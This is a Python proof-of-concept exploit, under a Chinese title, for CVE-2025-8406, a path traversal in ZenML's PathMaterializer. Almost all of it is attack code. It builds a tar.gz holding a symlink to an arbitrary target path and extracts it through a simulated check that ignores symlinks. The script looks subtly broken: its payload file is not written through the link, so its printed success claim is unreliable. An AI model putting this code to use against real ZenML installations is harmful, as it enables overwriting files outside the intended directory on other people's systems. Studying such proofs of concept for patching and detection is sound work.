CVE-2025-8406 ZenML PathMaterializer路径遍历漏洞

#!/usr/bin/env python3 """ CVE-2025-8406 - ZenML PathMaterializer Path Traversal PoC Vulnerability: Path traversal via symbolic/hard links in data.tar.gz extraction """ import tarfile import os import io import tempfile def create_malicious_tar(output_path, target_file): """ Create a malicious tar.gz file that exploits the path traversal vulnerability by using a symbolic link to point outside the intended directory. """ with tarfile.open(output_path, "w:gz") as tar: # Add a symbolic link pointing to a sensitive file location symlink_name = "evil_link" info = tarfile.TarInfo(name=symlink_name) info.type = tarfile.SYMTYPE info.linkname = target_file tar.addfile(info) # Add a file that will be written through the symlink payload_content = b"malicious payload content\n" payload_info = tarfile.TarInfo(name="payload.txt") payload_info.size = len(payload_content) tar.addfile(payload_info, io.BytesIO(payload_content)) def exploit_via_symlink(target_file="/tmp/cve_2025_8406_pwned"): """ Main exploit function demonstrating CVE-2025-8406. Creates a malicious archive and simulates the vulnerable extraction process. """ # Create temporary directory for extraction with tempfile.TemporaryDirectory() as extract_dir: # Generate malicious tar.gz malicious_tar = os.path.join(extract_dir, "data.tar.gz") create_malicious_tar(malicious_tar, target_file) # Simulate ZenML's PathMaterializer.load() behavior # The vulnerable is_path_within_directory fails to detect symlinks with tarfile.open(malicious_tar, "r:gz") as tar: for member in tar.getmembers(): # Vulnerable check: doesn't properly handle symlinks if not is_path_within_directory_vulnerable( os.path.join(extract_dir, member.name), extract_dir ): print(f"[BLOCKED] {member.name}") continue print(f"[EXTRACTING] {member.name} -> {member.linkname if member.issym() else 'file'}") tar.extract(member, extract_dir) # Verify exploitation if os.path.exists(target_file): print(f"[SUCCESS] File written to: {target_file}") with open(target_file, 'r') as f: print(f"[CONTENT] {f.read()}") def is_path_within_directory_vulnerable(path, directory): """ Simulates the vulnerable is_path_within_directory function. It does NOT resolve symbolic links, allowing traversal. """ abs_path = os.path.abspath(path) abs_directory = os.path.abspath(directory) # Bug: doesn't use os.path.realpath() to resolve symlinks return abs_path.startswith(abs_directory + os.sep) or abs_path == abs_directory if __name__ == "__main__": print("[*] CVE-2025-8406 PoC - ZenML PathMaterializer Path Traversal") print("[*] Creating malicious archive with symbolic link bypass...\n") exploit_via_symlink()